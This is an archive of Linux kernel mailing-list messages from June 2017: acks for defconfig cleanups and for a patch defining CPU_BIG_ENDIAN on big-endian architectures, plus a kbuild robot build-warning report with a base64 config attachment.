	I8AF3nWKSLhTIozPJhxsFoVyleITLrExnArJ8lhVI+/zfEtyjMoYeqwsA5FUg7QV+0tH93zfT6xZx
	mDJpQLpAj6TBT94NQhSgfCjOFHfV6Ptx0F0z+k5wKBrR3w9nDxAggGnHDOSM0CtQ1j55f2KFZaWKW
	aE4iJWRKdEOpXSX+fVBIcynYbDhKJDMYhm2g2+kZbGdUZT4xFiG1LMMjTQ7AoR+e9D7wgnkwJyIEa
	iJhfIx1JvZrOfJSAYtNw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.87 #1 (Red Hat Linux))
	id 1dJQ4s-0001lr-HT; Fri, 09 Jun 2017 20:00:14 +0000
Original-Received: from mail-ot0-x244.google.com ([2607:f8b0:4003:c0f::244])
 by bombadil.infradead.org with esmtps (Exim 4.87 #1 (Red Hat Linux))
 id 1dJQ4q-0000XF-7V; Fri, 09 Jun 2017 20:00:13 +0000
Original-Received: by mail-ot0-x244.google.com with SMTP id t31so6672473ota.2;
 Fri, 09 Jun 2017 12:59:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
 h=mime-version:sender:in-reply-to:references:from:date:message-id
 :subject:to:cc;
 bh=M/BQl55VmesotpcAqSTq4QLVPVScYx1VDtsDCdeVK4g=;
 b=RpnkHqlv541c4ruRGaf7oqPvb88KfVLxq8iTdACPivcdeNvkewdyAW+i26ExF6npsC
 ZwJxGIR4UvZzes7kIW5FX49msBjAMdQkVWgga6cRYEb/lqUBkXzJkETNcE+BpkWbVUBo
 NHivxr09uSf9iqPiVa8pPc2FyafTnCWpa+A88kjLGH+w3IseKRyw12F/u089XHHnJ/io
 a/YrvhbZ2veTuAlTmgGAstuk5mFIicwiwLd5SQsXm+zfEE1cB7DQKCoE3hykdXXRRYeW
 NCB2Q3D1L2XZrfkfw3sEC47UYBv7fNmsB8p0FlWaTpRMvSy1csqSC/2CdJNWML/inGgA
 i9vA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
 :date:message-id:subject:to:cc;
 bh=M/BQl55VmesotpcAqSTq4QLVPVScYx1VDtsDCdeVK4g=;
 b=f//+F+qW4JVbrOLAiBtZOTlXF5dKEiVKaGrJ5dFm4OO7nWxFwwtN4hCxkU0ywKVEZ/
 X3ApQQTNLXNiCLeoYFmAW4PtAwraB2rn8DCgg1QEt29UZ836BSlqnzjygCF1hvI6hqtu
 9lmbgHyF72pYEQ2NfGtssFdUTmSZWhzWpd/mZhzZkwoySfj/EtgBNUIf8HFoVzfLbf2p
 3qqttsF2iCfgA5EB3tUSNSQvuqDrisKrSQvBqarZDfCiGUUYjncT82krNEmf3eXFHyvS
 jYgF7Tos95vhR5Vc/NEUn/9k1EWasafLMkKnub/EIwIrIUwgRYodLIvaEVvii6r8LMuZ
 Owcg==
X-Gm-Message-State: AODbwcBK89y57XhTZWlOFsyCPXAwF5WACre/h/PK9ZA1mYUF4oT7PBOU
 5rXssYbBVCC/BsE+GHlmGln+/3fzyg==
X-Received: by 10.157.11.18 with SMTP id a18mr21242051ota.253.1497038389382;
 Fri, 09 Jun 2017 12:59:49 -0700 (PDT)
Original-Received: by 10.157.51.139 with HTTP; Fri, 9 Jun 2017 12:59:48 -0700 (PDT)
In-Reply-To: <20170608160836.12196-1-krzk@kernel.org>
X-Google-Sender-Auth: yfex4lpANlwZXP277Z-Njd3yBs4
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20170609_130012_330434_7C920F97 
X-CRM114-Status: GOOD (  12.51  )
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:2511 gmane.linux.ports.mips.general:59583 gmane.linux.ports.sparc:25496 gmane.linux.ports.hexagon:1263 gmane.linux.ports.sh.devel:55477 gmane.linux.kernel.samsung-soc:60815 gmane.linux.uml.devel:16398 gmane.linux.ports.alpha:4242 gmane.linux.uml.user:15320 gmane.linux.ports.arm.omap:143974 gmane.linux.ports.arm.kernel:583927 gmane.linux.ports.parisc:27494 gmane.linux.ports.ppc64.devel:143180 gmane.linux.kernel:2497218
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/2511>

On Thu, Jun 8, 2017 at 6:08 PM, Krzysztof Kozlowski <krzk@kernel.org> wrote:
> Hi,
>
> While cleaning Samsung ARM defconfigs with savedefconfig, I encountered
> similar obsolete entries in other files.
>
> Except the ARM, no dependencies.
> For ARM, the rest of patches depend on the first change (otherwise
> it might not apply cleanly).

Great work!

I looked at all the ARM patches, and everything looks good to me (the
changlog linewrapping may be suboptimal for readability in some cases,
if I had to say anything negative ;-) ).

Please add my Acked-by to the ARM patches and send a pull request.

        Arnd

From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Stafford Horne <shorne@gmail.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 1/2] arch: Define CPU_BIG_ENDIAN for all fixed big
 endian archs
Date: Sat, 10 Jun 2017 17:22:22 +0900
Lines: 136
Approved: news@gmane.org
Message-ID: <20170610082222.GC6190@lianli.shorne-pla.net>
References: <1497037687-107638-1-git-send-email-babu.moger@oracle.com>
 <1497037687-107638-2-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1497082951 18407 195.159.176.226 (10 Jun 2017 08:22:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 10 Jun 2017 08:22:31 +0000 (UTC)
User-Agent: Mutt/1.8.0 (2017-02-23)
Cc: ysato@users.sourceforge.jp, geert@linux-m68k.org,
        jonas@southpole.se, stefan.kristiansson@saunalahti.fi,
        jejb@parisc-linux.org, deller@gmx.de, davem@davemloft.net,
        viro@zeniv.linux.org.uk, mpe@ellerman.id.au, peterz@infradead.org,
        mingo@redhat.com, jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: Babu Moger <babu.moger@oracle.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Sat Jun 10 10:22:25 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1dJbf7-0004Pn-3z
	for glpm-linux-m68k@m.gmane.org; Sat, 10 Jun 2017 10:22:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751870AbdFJIW2 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Sat, 10 Jun 2017 04:22:28 -0400
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:34477 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751844AbdFJIWZ (ORCPT
        <rfc822;linux-m68k@vger.kernel.org>); Sat, 10 Jun 2017 04:22:25 -0400
Original-Received: by mail-pf0-f193.google.com with SMTP id u1so10936763pfg.1;
        Sat, 10 Jun 2017 01:22:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=zkfbEQIAyhfhO54g2p6rGvAk1In4zYbre2slqUfBzxY=;
        b=av6ucWsSR3P68uHQzdZjIMDHbd465c4OCmu6wJucfXjwahXzvZ2B/pcEgzyjjkalCb
         1speA/IxBUMSS1TbtJYBMILrRCD3tMqDWFyFGd/NmjvEa7D8WsvrcVXw+InnRvDE52JA
         JpItEpeJbzfrZ4pATOvChjcLiCIlVS2JGeBo7R43fMlJGi4RIUEnVKyrSbtEprzM046v
         pfIoPQ0DwikOkxre9Qm6qvEANMkQKznpyWIpkrltdD30h32RQ2eOGliQOZfUtw//rmwJ
         Vw9vA8fZFfKxkKlf+DLPajxLyBk8jqlSNV3mBrl1ODq4SO5puh8zK7+Sz4LStnr8ecdQ
         CzYA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-disposition:in-reply-to:user-agent;
        bh=zkfbEQIAyhfhO54g2p6rGvAk1In4zYbre2slqUfBzxY=;
        b=PNcDW5J6vTkRjZrNVeY7szEZJ/+me/5Jcl3WUmcztCfXqECEnGhW5zJILeSLh8w1bT
         vx8N4ERYPVHO5QsoQZR7wwxdG+8fT1yzRxaS1Q+UeuTPjs28rRbznTDbxfN6bkHl9XFw
         ss+bZkW7gUpySislyfd1yuUBeupsmLPVTRBGbcf+lle308rjJLnwAywsQe5fa8YB4gTc
         EanBdNPqfOomPXd+0i0yUO9IsdS/74OfJLZVrtd3W3cMuP1g7SwwtDMEyjmgNe9J/++T
         EJWj9v03MiaOQMqBSIvOnA/nAPGgi2HYYqKejJnrMsfUxesqZXxzX+7D4+Md0sMfL20a
         euTA==
X-Gm-Message-State: AODbwcDpPVed60MNqUrTAQhp0b9PYV/+0hoU40ZWvpTWHcd7NhY9qDdw
        LQeJMqKNtWew/Q==
X-Received: by 10.84.236.15 with SMTP id q15mr44590500plk.163.1497082944910;
        Sat, 10 Jun 2017 01:22:24 -0700 (PDT)
Original-Received: from localhost (g212.61-193-241.ppp.wakwak.ne.jp. [61.193.241.212])
        by smtp.gmail.com with ESMTPSA id p23sm7797094pfi.52.2017.06.10.01.22.23
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Sat, 10 Jun 2017 01:22:24 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1497037687-107638-2-git-send-email-babu.moger@oracle.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9370 gmane.linux.kernel:2497415 gmane.linux.ports.parisc:27495 gmane.linux.ports.sparc:25497
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9370>

On Fri, Jun 09, 2017 at 12:48:06PM -0700, Babu Moger wrote:
> While working on enabling queued rwlock on SPARC, found
> this following code in include/asm-generic/qrwlock.h
> which uses CONFIG_CPU_BIG_ENDIAN to clear a byte.
> 
> static inline u8 *__qrwlock_write_byte(struct qrwlock *lock)
>  {
> 	return (u8 *)lock + 3 * IS_BUILTIN(CONFIG_CPU_BIG_ENDIAN);
>  }
> 
> Problem is many of the fixed big endian architectures don't define
> CPU_BIG_ENDIAN and clears the wrong byte.
> 
> Define CPU_BIG_ENDIAN for all the fixed big endian architecture to fix it.
> 
> Also found few more references of this config parameter in
> drivers/of/base.c
> drivers/of/fdt.c
> drivers/tty/serial/earlycon.c
> drivers/tty/serial/serial_core.c
> Be aware that this may cause regressions if someone has worked-around
> problems in the above code already. Remove the work-around.
> 
> Here is our original discussion
> https://lkml.org/lkml/2017/5/24/620
> 
> Signed-off-by: Babu Moger <babu.moger@oracle.com>
> Suggested-by: Arnd Bergmann <arnd@arndb.de>
> Acked-by: Geert Uytterhoeven <geert@linux-m68k.org>
> Acked-by: David S. Miller <davem@davemloft.net>
> ---
>  arch/frv/Kconfig      |    3 +++
>  arch/h8300/Kconfig    |    3 +++
>  arch/m68k/Kconfig     |    3 +++
>  arch/openrisc/Kconfig |    3 +++
>  arch/parisc/Kconfig   |    3 +++
>  arch/sparc/Kconfig    |    3 +++
>  6 files changed, 18 insertions(+), 0 deletions(-)
> 
> diff --git a/arch/frv/Kconfig b/arch/frv/Kconfig
> index eefd9a4..1cce824 100644
> --- a/arch/frv/Kconfig
> +++ b/arch/frv/Kconfig
> @@ -17,6 +17,9 @@ config FRV
>  	select HAVE_DEBUG_STACKOVERFLOW
>  	select ARCH_NO_COHERENT_DMA_MMAP
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +
>  config ZONE_DMA
>  	bool
>  	default y
> diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
> index 3ae8525..5380ac8 100644
> --- a/arch/h8300/Kconfig
> +++ b/arch/h8300/Kconfig
> @@ -23,6 +23,9 @@ config H8300
>  	select HAVE_ARCH_HASH
>  	select CPU_NO_EFFICIENT_FFS
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +
>  config RWSEM_GENERIC_SPINLOCK
>  	def_bool y
>  
> diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
> index d140206..029a58b 100644
> --- a/arch/m68k/Kconfig
> +++ b/arch/m68k/Kconfig
> @@ -23,6 +23,9 @@ config M68K
>  	select OLD_SIGSUSPEND3
>  	select OLD_SIGACTION
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +
>  config RWSEM_GENERIC_SPINLOCK
>  	bool
>  	default y
> diff --git a/arch/openrisc/Kconfig b/arch/openrisc/Kconfig
> index 1e95920..a0f2e4a 100644
> --- a/arch/openrisc/Kconfig
> +++ b/arch/openrisc/Kconfig
> @@ -29,6 +29,9 @@ config OPENRISC
>  	select CPU_NO_EFFICIENT_FFS if !OPENRISC_HAVE_INST_FF1
>  	select NO_BOOTMEM
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +

Acked-by: Stafford Horne <shorne@gmail.com>

I actually have this patch in my SMP branch [0] I am working on.  It would
be good to get this in, I have heard verious complaints about bugs with
endianness and mmio with OpenRISC but have not been able to look into it.
This might be related as well.

[0] https://github.com/stffrdhrn/linux/commit/2cc4b90eca865c54b87b8f59e523c131f30fc9ac

>  config MMU
>  	def_bool y
>  
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index 531da9e..dda1f55 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -47,6 +47,9 @@ config PARISC
>  	  and later HP3000 series).  The PA-RISC Linux project home page is
>  	  at <http://www.parisc-linux.org/>.
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +
>  config MMU
>  	def_bool y
>  
> diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
> index 58243b0..eb213b5 100644
> --- a/arch/sparc/Kconfig
> +++ b/arch/sparc/Kconfig
> @@ -92,6 +92,9 @@ config ARCH_DEFCONFIG
>  config ARCH_PROC_KCORE_TEXT
>  	def_bool y
>  
> +config CPU_BIG_ENDIAN
> +	def_bool y
> +
>  config ARCH_ATU
>  	bool
>  	default y if SPARC64
> -- 
> 1.7.1
> 

From - Thu Nov 08 21:39:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.sparc
Subject: Re: [PATCH 2/2] include: warn for inconsistent endian config
 definition
Date: Sat, 10 Jun 2017 22:06:20 +0800
Lines: 335
Approved: news@gmane.org
Message-ID: <201706102219.7auwXKYx%fengguang.wu@intel.com>
References: <1496960243-196898-3-git-send-email-babu.moger@oracle.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="45Z9DzgjV8m4Oswq"
X-Trace: blaine.gmane.org 1497103602 2180 195.159.176.226 (10 Jun 2017 14:06:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 10 Jun 2017 14:06:42 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, ysato@users.sourceforge.jp,
        geert@linux-m68k.org, jonas@southpole.se,
        stefan.kristiansson@saunalahti.fi, shorne@gmail.com,
        jejb@parisc-linux.org, deller@gmx.de, davem@davemloft.net,
        viro@zeniv.linux.org.uk, mpe@ellerman.id.au, peterz@infradead.org,
        mingo@redhat.com, jcmvbkbc@gmail.com, linux-kernel@vger.kernel.org,
        uclinux-h8-devel@lists.sourceforge.jp, linux-m68k@vger.kernel.org,
        openrisc@lists.librecores.org, linux-parisc@vger.kernel.org,
        sparclinux@vger.kernel.org
To: Babu Moger <babu.moger@oracle.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jun 10 16:06:36 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dJh2B-0007ay-4D
	for glpp-linux-parisc@m.gmane.org; Sat, 10 Jun 2017 16:06:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752089AbdFJOGk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 10 Jun 2017 10:06:40 -0400
Original-Received: from mga02.intel.com ([134.134.136.20]:12981 "EHLO mga02.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751958AbdFJOGj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 10 Jun 2017 10:06:39 -0400
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga101.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 10 Jun 2017 07:06:32 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.39,323,1493708400"; 
   d="gz'50?scan'50,208,50";a="1139911228"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga001.jf.intel.com with ESMTP; 10 Jun 2017 07:06:29 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1dJh5c-000SiT-Bh; Sat, 10 Jun 2017 22:10:08 +0800
Content-Disposition: inline
In-Reply-To: <1496960243-196898-3-git-send-email-babu.moger@oracle.com>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27496 gmane.linux.kernel:2497485 gmane.linux.ports.m68k:9371 gmane.linux.ports.sparc:25498
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27496>


--45Z9DzgjV8m4Oswq
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Babu,

[auto build test WARNING on linus/master]
[also build test WARNING on v4.12-rc4 next-20170609]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Babu-Moger/Define-CPU_BIG_ENDIAN-or-warn-for-inconsistencies/20170610-200424
config: microblaze-mmu_defconfig (attached as .config)
compiler: microblaze-linux-gcc (GCC) 6.2.0
reproduce:
        wget https://raw.githubusercontent.com/01org/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=microblaze 

All warnings (new ones prefixed by >>):

   In file included from arch/microblaze/include/uapi/asm/byteorder.h:7:0,
                    from include/asm-generic/bitops/le.h:5,
                    from include/asm-generic/bitops.h:34,
                    from arch/microblaze/include/asm/bitops.h:1,
                    from include/linux/bitops.h:36,
                    from include/linux/kernel.h:10,
                    from include/asm-generic/bug.h:15,
                    from arch/microblaze/include/asm/bug.h:1,
                    from include/linux/bug.h:4,
                    from include/linux/page-flags.h:9,
                    from kernel/bounds.c:9:
>> include/linux/byteorder/big_endian.h:7:2: warning: #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN [-Wcpp]
    #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
     ^~~~~~~
--
   In file included from arch/microblaze/include/uapi/asm/byteorder.h:7:0,
                    from include/asm-generic/bitops/le.h:5,
                    from include/asm-generic/bitops.h:34,
                    from arch/microblaze/include/asm/bitops.h:1,
                    from include/linux/bitops.h:36,
                    from include/linux/kernel.h:10,
                    from include/asm-generic/bug.h:15,
                    from arch/microblaze/include/asm/bug.h:1,
                    from include/linux/bug.h:4,
                    from include/linux/page-flags.h:9,
                    from kernel/bounds.c:9:
>> include/linux/byteorder/big_endian.h:7:2: warning: #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN [-Wcpp]
    #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
     ^~~~~~~
   In file included from arch/microblaze/include/uapi/asm/byteorder.h:7:0,
                    from include/asm-generic/bitops/le.h:5,
                    from include/asm-generic/bitops.h:34,
                    from arch/microblaze/include/asm/bitops.h:1,
                    from include/linux/bitops.h:36,
                    from include/linux/kernel.h:10,
                    from include/linux/list.h:8,
                    from include/linux/rculist.h:9,
                    from include/linux/pid.h:4,
                    from include/linux/sched.h:13,
                    from arch/microblaze/kernel/asm-offsets.c:13:
>> include/linux/byteorder/big_endian.h:7:2: warning: #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN [-Wcpp]
    #warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
     ^~~~~~~
   <stdin>:1326:2: warning: #warning syscall statx not implemented [-Wcpp]

vim +7 include/linux/byteorder/big_endian.h

     1	#ifndef _LINUX_BYTEORDER_BIG_ENDIAN_H
     2	#define _LINUX_BYTEORDER_BIG_ENDIAN_H
     3	
     4	#include <uapi/linux/byteorder/big_endian.h>
     5	
     6	#ifndef CONFIG_CPU_BIG_ENDIAN
   > 7	#warning inconsistent configuration, needs CONFIG_CPU_BIG_ENDIAN
     8	#endif
     9	
    10	#include <linux/byteorder/generic.h>
    11	#endif /* _LINUX_BYTEORDER_BIG_ENDIAN_H */

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--45Z9DzgjV8m4Oswq
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
